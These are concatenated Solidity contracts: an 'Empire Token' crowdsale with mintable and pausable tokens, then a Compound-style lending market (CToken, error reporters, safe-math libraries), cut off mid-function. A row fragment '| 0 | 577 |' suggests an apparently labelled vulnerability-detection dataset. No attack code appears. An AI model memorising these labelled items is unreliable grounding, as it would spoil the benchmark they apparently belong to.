require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract EmpireToken is StandardToken, Ownable {
string public name = 'Empire Token';
uint8 public decimals = 18;
string public symbol = 'EMP';
string public version = '0.1';
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract EmpireCrowdsale is Ownable, Pausable {
using SafeMath for uint256;
EmpireToken public token;
uint256 public start;
uint256 public end;
address public wallet;
uint256 public weiRaised;
uint256 public presaleCap;
uint256 public softCap;
uint256 public gracePeriodCap;
uint256 public gracePeriodStart;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function EmpireCrowdsale(uint256 _start, uint256 _end, address _wallet, address _token, uint256 _presaleCap, uint256 _softCap, uint256 _graceCap) payable {
require(_start >= now);
require(_end >= _start);
require(_wallet != 0x0);
require(_token != 0x0);
require(_presaleCap > 0);
require(_softCap > 0);
require(_graceCap > 0);
start = _start;
end = _end;
wallet = _wallet;
token = EmpireToken(_token);
presaleCap = _presaleCap;
softCap = _softCap;
gracePeriodCap = _graceCap;
}
function getRate() constant returns (uint) {
bool duringPresale = (now < start) && (weiRaised < presaleCap * 1 ether);
bool gracePeriodSet = gracePeriodStart != 0;
bool duringGracePeriod = gracePeriodSet && now <= gracePeriodStart + 24 hours;
uint rate = 1000;
if (duringPresale) rate = 1300;
else if (now <= start + 3 days) rate = 1250;
else if (now <= start + 10 days) rate = 1150;
else if (now <= start + 20 days) rate = 1050;
if (duringGracePeriod) return rate.sub(rate.div(10));
return rate;
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) whenNotPaused() payable {
require(beneficiary != 0x0);
require(msg.value != 0);
require(now <= end);
if ((weiRaised >= softCap * 1 ether) && gracePeriodStart == 0)
gracePeriodStart = block.timestamp;
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(getRate());
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function finishMinting() onlyOwner returns (bool) {
return token.finishMinting();
}
} | 0 | 577 |
pragma solidity ^0.5.8;
interface ComptrollerInterface {
function isComptroller() external view returns (bool);
function enterMarkets(address[] calldata cTokens) external returns (uint[] memory);
function exitMarket(address cToken) external returns (uint);
function mintAllowed(address cToken, address minter, uint mintAmount) external returns (uint);
function mintVerify(address cToken, address minter, uint mintAmount, uint mintTokens) external;
function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external returns (uint);
function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external;
function borrowAllowed(address cToken, address borrower, uint borrowAmount) external returns (uint);
function borrowVerify(address cToken, address borrower, uint borrowAmount) external;
function repayBorrowAllowed(
address cToken,
address payer,
address borrower,
uint repayAmount) external returns (uint);
function repayBorrowVerify(
address cToken,
address payer,
address borrower,
uint repayAmount,
uint borrowerIndex) external;
function liquidateBorrowAllowed(
address cTokenBorrowed,
address cTokenCollateral,
address liquidator,
address borrower,
uint repayAmount) external returns (uint);
function liquidateBorrowVerify(
address cTokenBorrowed,
address cTokenCollateral,
address liquidator,
address borrower,
uint repayAmount,
uint seizeTokens) external;
function seizeAllowed(
address cTokenCollateral,
address cTokenBorrowed,
address liquidator,
address borrower,
uint seizeTokens) external returns (uint);
function seizeVerify(
address cTokenCollateral,
address cTokenBorrowed,
address liquidator,
address borrower,
uint seizeTokens) external;
function transferAllowed(address cToken, address src, address dst, uint transferTokens) external returns (uint);
function transferVerify(address cToken, address src, address dst, uint transferTokens) external;
function liquidateCalculateSeizeTokens(
address cTokenBorrowed,
address cTokenCollateral,
uint repayAmount) external view returns (uint, uint);
}
pragma solidity ^0.5.8;
contract ComptrollerErrorReporter {
enum Error {
NO_ERROR,
UNAUTHORIZED,
COMPTROLLER_MISMATCH,
INSUFFICIENT_SHORTFALL,
INSUFFICIENT_LIQUIDITY,
INVALID_CLOSE_FACTOR,
INVALID_COLLATERAL_FACTOR,
INVALID_LIQUIDATION_INCENTIVE,
MARKET_NOT_ENTERED,
MARKET_NOT_LISTED,
MARKET_ALREADY_LISTED,
MATH_ERROR,
NONZERO_BORROW_BALANCE,
PRICE_ERROR,
REJECTION,
SNAPSHOT_ERROR,
TOO_MANY_ASSETS,
TOO_MUCH_REPAY
}
enum FailureInfo {
ACCEPT_ADMIN_PENDING_ADMIN_CHECK,
ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK,
EXIT_MARKET_BALANCE_OWED,
EXIT_MARKET_REJECTION,
SET_CLOSE_FACTOR_OWNER_CHECK,
SET_CLOSE_FACTOR_VALIDATION,
SET_COLLATERAL_FACTOR_OWNER_CHECK,
SET_COLLATERAL_FACTOR_NO_EXISTS,
SET_COLLATERAL_FACTOR_VALIDATION,
SET_COLLATERAL_FACTOR_WITHOUT_PRICE,
SET_IMPLEMENTATION_OWNER_CHECK,
SET_LIQUIDATION_INCENTIVE_OWNER_CHECK,
SET_LIQUIDATION_INCENTIVE_VALIDATION,
SET_MAX_ASSETS_OWNER_CHECK,
SET_PENDING_ADMIN_OWNER_CHECK,
SET_PENDING_IMPLEMENTATION_OWNER_CHECK,
SET_PRICE_ORACLE_OWNER_CHECK,
SUPPORT_MARKET_EXISTS,
SUPPORT_MARKET_OWNER_CHECK,
ZUNUSED
}
event Failure(uint error, uint info, uint detail);
function fail(Error err, FailureInfo info) internal returns (uint) {
emit Failure(uint(err), uint(info), 0);
return uint(err);
}
function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) {
emit Failure(uint(err), uint(info), opaqueError);
return uint(err);
}
}
contract TokenErrorReporter {
enum Error {
NO_ERROR,
UNAUTHORIZED,
BAD_INPUT,
COMPTROLLER_REJECTION,
COMPTROLLER_CALCULATION_ERROR,
INTEREST_RATE_MODEL_ERROR,
INVALID_ACCOUNT_PAIR,
INVALID_CLOSE_AMOUNT_REQUESTED,
INVALID_COLLATERAL_FACTOR,
MATH_ERROR,
MARKET_NOT_FRESH,
MARKET_NOT_LISTED,
TOKEN_INSUFFICIENT_ALLOWANCE,
TOKEN_INSUFFICIENT_BALANCE,
TOKEN_INSUFFICIENT_CASH,
TOKEN_TRANSFER_IN_FAILED,
TOKEN_TRANSFER_OUT_FAILED
}
enum FailureInfo {
ACCEPT_ADMIN_PENDING_ADMIN_CHECK,
ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED,
ACCRUE_INTEREST_BORROW_RATE_CALCULATION_FAILED,
ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED,
ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED,
ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED,
ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED,
BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED,
BORROW_ACCRUE_INTEREST_FAILED,
BORROW_CASH_NOT_AVAILABLE,
BORROW_FRESHNESS_CHECK,
BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED,
BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED,
BORROW_MARKET_NOT_LISTED,
BORROW_COMPTROLLER_REJECTION,
LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED,
LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED,
LIQUIDATE_COLLATERAL_FRESHNESS_CHECK,
LIQUIDATE_COMPTROLLER_REJECTION,
LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED,
LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX,
LIQUIDATE_CLOSE_AMOUNT_IS_ZERO,
LIQUIDATE_FRESHNESS_CHECK,
LIQUIDATE_LIQUIDATOR_IS_BORROWER,
LIQUIDATE_REPAY_BORROW_FRESH_FAILED,
LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED,
LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED,
LIQUIDATE_SEIZE_COMPTROLLER_REJECTION,
LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER,
LIQUIDATE_SEIZE_TOO_MUCH,
MINT_ACCRUE_INTEREST_FAILED,
MINT_COMPTROLLER_REJECTION,
MINT_EXCHANGE_CALCULATION_FAILED,
MINT_EXCHANGE_RATE_READ_FAILED,
MINT_FRESHNESS_CHECK,
MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED,
MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED,
MINT_TRANSFER_IN_FAILED,
MINT_TRANSFER_IN_NOT_POSSIBLE,
REDEEM_ACCRUE_INTEREST_FAILED,
REDEEM_COMPTROLLER_REJECTION,
REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED,
REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED,
REDEEM_EXCHANGE_RATE_READ_FAILED,
REDEEM_FRESHNESS_CHECK,
REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED,
REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED,
REDEEM_TRANSFER_OUT_NOT_POSSIBLE,
REDUCE_RESERVES_ACCRUE_INTEREST_FAILED,
REDUCE_RESERVES_ADMIN_CHECK,
REDUCE_RESERVES_CASH_NOT_AVAILABLE,
REDUCE_RESERVES_FRESH_CHECK,
REDUCE_RESERVES_VALIDATION,
REPAY_BEHALF_ACCRUE_INTEREST_FAILED,
REPAY_BORROW_ACCRUE_INTEREST_FAILED,
REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED,
REPAY_BORROW_COMPTROLLER_REJECTION,
REPAY_BORROW_FRESHNESS_CHECK,
REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED,
REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED,
REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE,
SET_COLLATERAL_FACTOR_OWNER_CHECK,
SET_COLLATERAL_FACTOR_VALIDATION,
SET_COMPTROLLER_OWNER_CHECK,
SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED,
SET_INTEREST_RATE_MODEL_FRESH_CHECK,
SET_INTEREST_RATE_MODEL_OWNER_CHECK,
SET_MAX_ASSETS_OWNER_CHECK,
SET_ORACLE_MARKET_NOT_LISTED,
SET_PENDING_ADMIN_OWNER_CHECK,
SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED,
SET_RESERVE_FACTOR_ADMIN_CHECK,
SET_RESERVE_FACTOR_FRESH_CHECK,
SET_RESERVE_FACTOR_BOUNDS_CHECK,
TRANSFER_COMPTROLLER_REJECTION,
TRANSFER_NOT_ALLOWED,
TRANSFER_NOT_ENOUGH,
TRANSFER_TOO_MUCH
}
event Failure(uint error, uint info, uint detail);
function fail(Error err, FailureInfo info) internal returns (uint) {
emit Failure(uint(err), uint(info), 0);
return uint(err);
}
function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) {
emit Failure(uint(err), uint(info), opaqueError);
return uint(err);
}
}
pragma solidity ^0.5.8;
contract CarefulMath {
enum MathError {
NO_ERROR,
DIVISION_BY_ZERO,
INTEGER_OVERFLOW,
INTEGER_UNDERFLOW
}
function mulUInt(uint a, uint b) internal pure returns (MathError, uint) {
if (a == 0) {
return (MathError.NO_ERROR, 0);
}
uint c = a * b;
if (c / a != b) {
return (MathError.INTEGER_OVERFLOW, 0);
} else {
return (MathError.NO_ERROR, c);
}
}
function divUInt(uint a, uint b) internal pure returns (MathError, uint) {
if (b == 0) {
return (MathError.DIVISION_BY_ZERO, 0);
}
return (MathError.NO_ERROR, a / b);
}
function subUInt(uint a, uint b) internal pure returns (MathError, uint) {
if (b <= a) {
return (MathError.NO_ERROR, a - b);
} else {
return (MathError.INTEGER_UNDERFLOW, 0);
}
}
function addUInt(uint a, uint b) internal pure returns (MathError, uint) {
uint c = a + b;
if (c >= a) {
return (MathError.NO_ERROR, c);
} else {
return (MathError.INTEGER_OVERFLOW, 0);
}
}
function addThenSubUInt(uint a, uint b, uint c) internal pure returns (MathError, uint) {
(MathError err0, uint sum) = addUInt(a, b);
if (err0 != MathError.NO_ERROR) {
return (err0, 0);
}
return subUInt(sum, c);
}
}
pragma solidity ^0.5.8;
contract Exponential is CarefulMath {
uint constant expScale = 1e18;
uint constant halfExpScale = expScale/2;
uint constant mantissaOne = expScale;
struct Exp {
uint mantissa;
}
function getExp(uint num, uint denom) pure internal returns (MathError, Exp memory) {
(MathError err0, uint scaledNumerator) = mulUInt(num, expScale);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
(MathError err1, uint rational) = divUInt(scaledNumerator, denom);
if (err1 != MathError.NO_ERROR) {
return (err1, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: rational}));
}
function addExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
(MathError error, uint result) = addUInt(a.mantissa, b.mantissa);
return (error, Exp({mantissa: result}));
}
function subExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
(MathError error, uint result) = subUInt(a.mantissa, b.mantissa);
return (error, Exp({mantissa: result}));
}
function mulScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) {
(MathError err0, uint scaledMantissa) = mulUInt(a.mantissa, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa}));
}
function mulScalarTruncate(Exp memory a, uint scalar) pure internal returns (MathError, uint) {
(MathError err, Exp memory product) = mulScalar(a, scalar);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return (MathError.NO_ERROR, truncate(product));
}
function mulScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (MathError, uint) {
(MathError err, Exp memory product) = mulScalar(a, scalar);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return addUInt(truncate(product), addend);
}
function divScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) {
(MathError err0, uint descaledMantissa) = divUInt(a.mantissa, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: descaledMantissa}));
}
function divScalarByExp(uint scalar, Exp memory divisor) pure internal returns (MathError, Exp memory) {
(MathError err0, uint numerator) = mulUInt(expScale, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return getExp(numerator, divisor.mantissa);
}
function divScalarByExpTruncate(uint scalar, Exp memory divisor) pure internal returns (MathError, uint) {
(MathError err, Exp memory fraction) = divScalarByExp(scalar, divisor);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return (MathError.NO_ERROR, truncate(fraction));
}
function mulExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
(MathError err0, uint doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
(MathError err1, uint doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct);
if (err1 != MathError.NO_ERROR) {
return (err1, Exp({mantissa: 0}));
}
(MathError err2, uint product) = divUInt(doubleScaledProductWithHalfScale, expScale);
assert(err2 == MathError.NO_ERROR);
return (MathError.NO_ERROR, Exp({mantissa: product}));
}
function mulExp(uint a, uint b) pure internal returns (MathError, Exp memory) {
return mulExp(Exp({mantissa: a}), Exp({mantissa: b}));
}
function mulExp3(Exp memory a, Exp memory b, Exp memory c) pure internal returns (MathError, Exp memory) {
(MathError err, Exp memory ab) = mulExp(a, b);
if (err != MathError.NO_ERROR) {
return (err, ab);
}
return mulExp(ab, c);
}
function divExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
return getExp(a.mantissa, b.mantissa);
}
function truncate(Exp memory exp) pure internal returns (uint) {
return exp.mantissa / expScale;
}
function lessThanExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa < right.mantissa;
}
function lessThanOrEqualExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa <= right.mantissa;
}
function isZeroExp(Exp memory value) pure internal returns (bool) {
return value.mantissa == 0;
}
}
pragma solidity ^0.5.8;
interface EIP20Interface {
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256 balance);
function transfer(address dst, uint256 amount) external returns (bool success);
function transferFrom(address src, address dst, uint256 amount) external returns (bool success);
function approve(address spender, uint256 amount) external returns (bool success);
function allowance(address owner, address spender) external view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
}
pragma solidity ^0.5.8;
interface EIP20NonStandardInterface {
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256 balance);
function transfer(address dst, uint256 amount) external;
function transferFrom(address src, address dst, uint256 amount) external;
function approve(address spender, uint256 amount) external returns (bool success);
function allowance(address owner, address spender) external view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
}
pragma solidity ^0.5.8;
contract ReentrancyGuard {
uint256 private _guardCounter;
constructor () internal {
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "re-entered");
}
}
pragma solidity ^0.5.8;
interface InterestRateModel {
function getBorrowRate(uint cash, uint borrows, uint reserves) external view returns (uint, uint);
function isInterestRateModel() external view returns (bool);
}
pragma solidity ^0.5.8;
contract CToken is EIP20Interface, Exponential, TokenErrorReporter, ReentrancyGuard {
bool public constant isCToken = true;
string public name;
string public symbol;
uint public decimals;
uint constant borrowRateMaxMantissa = 5e14;
uint constant reserveFactorMaxMantissa = 1e18;
address payable public admin;
address payable public pendingAdmin;
ComptrollerInterface public comptroller;
InterestRateModel public interestRateModel;
uint public initialExchangeRateMantissa;
uint public reserveFactorMantissa;
uint public accrualBlockNumber;
uint public borrowIndex;
uint public totalBorrows;
uint public totalReserves;
uint256 public totalSupply;
mapping (address => uint256) accountTokens;
mapping (address => mapping (address => uint256)) transferAllowances;
struct BorrowSnapshot {
uint principal;
uint interestIndex;
}
mapping(address => BorrowSnapshot) accountBorrows;
event AccrueInterest(uint interestAccumulated, uint borrowIndex, uint totalBorrows);
event Mint(address minter, uint mintAmount, uint mintTokens);
event Redeem(address redeemer, uint redeemAmount, uint redeemTokens);
event Borrow(address borrower, uint borrowAmount, uint accountBorrows, uint totalBorrows);
event RepayBorrow(address payer, address borrower, uint repayAmount, uint accountBorrows, uint totalBorrows);
event LiquidateBorrow(address liquidator, address borrower, uint repayAmount, address cTokenCollateral, uint seizeTokens);
event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
event NewAdmin(address oldAdmin, address newAdmin);
event NewComptroller(ComptrollerInterface oldComptroller, ComptrollerInterface newComptroller);
event NewMarketInterestRateModel(InterestRateModel oldInterestRateModel, InterestRateModel newInterestRateModel);
event NewReserveFactor(uint oldReserveFactorMantissa, uint newReserveFactorMantissa);
event ReservesReduced(address admin, uint reduceAmount, uint newTotalReserves);
constructor(ComptrollerInterface comptroller_,
InterestRateModel interestRateModel_,
uint initialExchangeRateMantissa_,
string memory name_,
string memory symbol_,
uint decimals_) internal {
admin = msg.sender;
initialExchangeRateMantissa = initialExchangeRateMantissa_;
require(initialExchangeRateMantissa > 0, "Initial exchange rate must be greater than zero.");
uint err = _setComptroller(comptroller_);
require(err == uint(Error.NO_ERROR), "Setting comptroller failed");
accrualBlockNumber = getBlockNumber();
borrowIndex = mantissaOne;
err = _setInterestRateModelFresh(interestRateModel_);
require(err == uint(Error.NO_ERROR), "Setting interest rate model failed");
name = name_;
symbol = symbol_;
decimals = decimals_;
}
function transferTokens(address spender, address src, address dst, uint tokens) internal returns (uint) {
uint allowed = comptroller.transferAllowed(address(this), src, dst, tokens);
if (allowed != 0) {
return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.TRANSFER_COMPTROLLER_REJECTION, allowed);
}
if (src == dst) {
return fail(Error.BAD_INPUT, FailureInfo.TRANSFER_NOT_ALLOWED);
}
uint startingAllowance = 0;
if (spender == src) {
startingAllowance = uint(-1);
} else {
startingAllowance = transferAllowances[src][spender];
}
MathError mathErr;
uint allowanceNew;
uint srcTokensNew;
uint dstTokensNew;
(mathErr, allowanceNew) = subUInt(startingAllowance, tokens);
if (mathErr != MathError.NO_ERROR) {
return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_NOT_ALLOWED);
}
(mathErr, srcTokensNew) = subUInt(accountTokens[src], tokens);
if (mathErr != MathError.NO_ERROR) {
return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_NOT_ENOUGH);
}
(mathErr, dstTokensNew) = addUInt(accountTokens[dst], tokens);
if (mathErr != MathError.NO_ERROR) {
return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_TOO_MUCH);
}
accountTokens[src] = srcTokensNew;
accountTokens[dst] = dstTokensNew;
if (startingAllowance != uint(-1)) {
transferAllowances[src][spender] = allowanceNew;
}
emit Transfer(src, dst, tokens);
comptroller.transferVerify(address(this), src, dst, tokens);
return uint(Error.NO_ERROR);
}
function transfer(address dst, uint256 amount) external nonReentrant returns (bool) {
return transferTokens(msg.sender, msg.sender, dst, amount) == uint(Error.NO_ERROR);
}
function transferFrom(address src, address dst, uint256 amount) external nonReentrant returns (bool) {
return transferTokens(msg.sender, src, dst, amount) == uint(Error.NO_ERROR);
}
function approve(address spender, uint256 amount) external returns (bool) {
address src = msg.sender;
transferAllowances[src][spender] = amount;
emit Approval(src, spender, amount);
return true;
}
function allowance(address owner, address spender) external view returns (uint256) {
return transferAllowances[owner][spender];
}
function balanceOf(address owner) external view returns (uint256) {
return accountTokens[owner];
}
function balanceOfUnderlying(address owner) external returns (uint) {
Exp memory exchangeRate = Exp({mantissa: exchangeRateCurrent()});
(MathError mErr, uint balance) = mulScalarTruncate(exchangeRate, accountTokens[owner]);
require(mErr == MathError.NO_ERROR);
return balance;
}
function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint) {
uint cTokenBalance = accountTokens[account];
uint borrowBalance;
uint exchangeRateMantissa;
MathError mErr;
(mErr, borrowBalance) = borrowBalanceStoredInternal(account);
if (mErr != MathError.NO_ERROR) {
return (uint(Error.MATH_ERROR), 0, 0, 0);
}
(mErr, exchangeRateMantissa) = exchangeRateStoredInternal();
if (mErr != MathError.NO_ERROR) {
return (uint(Error.MATH_ERROR), 0, 0, 0);
}
return (uint(Error.NO_ERROR), cTokenBalance, borrowBalance, exchangeRateMantissa);
}
function getBlockNumber() internal view returns (uint) {
return block.number;
}
function borrowRatePerBlock() external view returns (uint) {
(uint opaqueErr, uint borrowRateMantissa) = interestRateModel.getBorrowRate(getCashPrior(), totalBorrows, totalReserves);
require(opaqueErr == 0, "borrowRatePerBlock: interestRateModel.borrowRate failed");
return borrowRateMantissa;
}
function supplyRatePerBlock() external view returns (uint) {
uint exchangeRateMantissa = exchangeRateStored();
(uint e0, uint borrowRateMantissa) = interestRateModel.getBorrowRate(getCashPrior(), totalBorrows, totalReserves);
require(e0 == 0, "supplyRatePerBlock: calculating borrowRate failed");
(MathError e1, Exp memory underlying) = mulScalar(Exp({mantissa: exchangeRateMantissa}), totalSupply);
require(e1 == MathError.NO_ERROR, "supplyRatePerBlock: calculating underlying failed");
(MathError e2, Exp memory borrowsPer) = divScalarByExp(totalBorrows, underlying);
require(e2 == MathError.NO_ERROR, "supplyRatePerBlock: calculating borrowsPer failed");
(MathError e3, Exp memory oneMinusReserveFactor) = subExp(Exp({mantissa: mantissaOne}), Exp({mantissa: reserveFactorMantissa}));
require(e3 == MathError.NO_ERROR, "supplyRatePerBlock: calculating oneMinusReserveFactor failed");
(MathError e4, Exp memory supplyRate) = mulExp3(Exp({mantissa: borrowRateMantissa}), oneMinusReserveFactor, borrowsPer);
require(e4 == MathError.NO_ERROR, "supplyRatePerBlock: calculating supplyRate failed");
return supplyRate.mantissa;
}
function totalBorrowsCurrent() external nonReentrant returns (uint) {
require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed");
return totalBorrows;
}
function borrowBalanceCurrent(address account) external nonReentrant returns (uint) {
require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed");
return borrowBalanceStored(account);
}
function borrowBalanceStored(address account) public view returns (uint) {
(MathError err, uint result) = borrowBalanceStoredInternal(account);
require(err == MathError.NO_ERROR, "borrowBalanceStored: borrowBalanceStoredInternal failed");
return result;
}
function borrowBalanceStoredInternal(address account) internal view returns (MathError, uint) {
MathError mathErr;
uint principalTimesIndex;
uint result;
BorrowSnapshot storage borrowSnapshot = accountBorrows[account];
if (borrowSnapshot.principal == 0) {
return (MathError.NO_ERROR, 0);
}
(mathErr, principalTimesIndex) = mulUInt(borrowSnapshot.principal, borrowIndex);
if (mathErr != MathError.NO_ERROR) {
return (mathErr, 0);
}
(mathErr, result) = divUInt(principalTimesIndex, borrowSnapshot.interestIndex);
if (mathErr != MathError.NO_ERROR) {
return (mathErr, 0);
}
return (MathError.NO_ERROR, result);
}
function exchangeRateCurrent() public nonReentrant returns (uint) {
require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed");
return exchangeRateStored();
}
function exchangeRateStored() public view returns (uint) {
(MathError err, uint result) = exchangeRateStoredInternal();
require(err == MathError.NO_ERROR, "exchangeRateStored: exchangeRateStoredInternal failed");
return result;
}
function exchangeRateStoredInternal() internal view returns (MathError, uint) {
if (totalSupply == 0) {
return (MathError.NO_ERROR, initialExchangeRateMantissa);
} else {
uint totalCash = getCashPrior();
uint cashPlusBorrowsMinusReserves;
Exp memory exchangeRate;
MathError mathErr;
(mathErr, cashPlusBorrowsMinusReserves) = addThenSubUInt(totalCash, totalBorrows, totalReserves);
if (mathErr != MathError.NO_ERROR) {
return (mathErr, 0);
}
(mathErr, exchangeRate) = getExp(cashPlusBorrowsMinusReserves, totalSupply);
if (mathErr != MathError.NO_ERROR) {
return (mathErr, 0);
}
return (MathError.NO_ERROR, exchangeRate.mantissa);
}
}
function getCash() external view returns (uint) {
return getCashPrior();
}
struct AccrueInterestLocalVars {
MathError mathErr;
uint opaqueErr;
uint borrowRateMantissa;
uint currentBlockNumber;
uint blockDelta;
Exp simpleInterestFactor;
uint interestAccumulated;
uint totalBorrowsNew;
uint totalReservesNew;
uint borrowIndexNew;
}
function accrueInterest() public returns (uint) {
AccrueInterestLocalVars memory vars;
(vars.opaqueErr, vars.borrowRateMantissa) = interestRateModel.getBorrowRate(getCashPrior(), totalBorrows, totalReserves);
require(vars.borrowRateMantissa <= borrowRateMaxMantissa, "borrow rate is absurdly high");
if (vars.opaqueErr != 0) {
return failOpaque(Error.INTEREST_RATE_MODEL_ERROR, FailureInfo.ACCRUE_INTEREST_BORROW_RATE_CALCULATION_FAILED, vars.opaqueErr);
}
vars.currentBlockNumber = getBlockNumber();
(vars.mathErr, vars.blockDelta) = subUInt(vars.currentBlockNumber, accrualBlockNumber);
assert(vars.mathErr == MathError.NO_ERROR);
(vars.mathErr, vars.simpleInterestFactor) = mulScalar(Exp({mantissa: vars.borrowRateMantissa}), vars.blockDelta);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, vars.interestAccumulated) = mulScalarTruncate(vars.simpleInterestFactor, totalBorrows);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, vars.totalBorrowsNew) = addUInt(vars.interestAccumulated, totalBorrows);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED, uint(vars.mathErr));
}
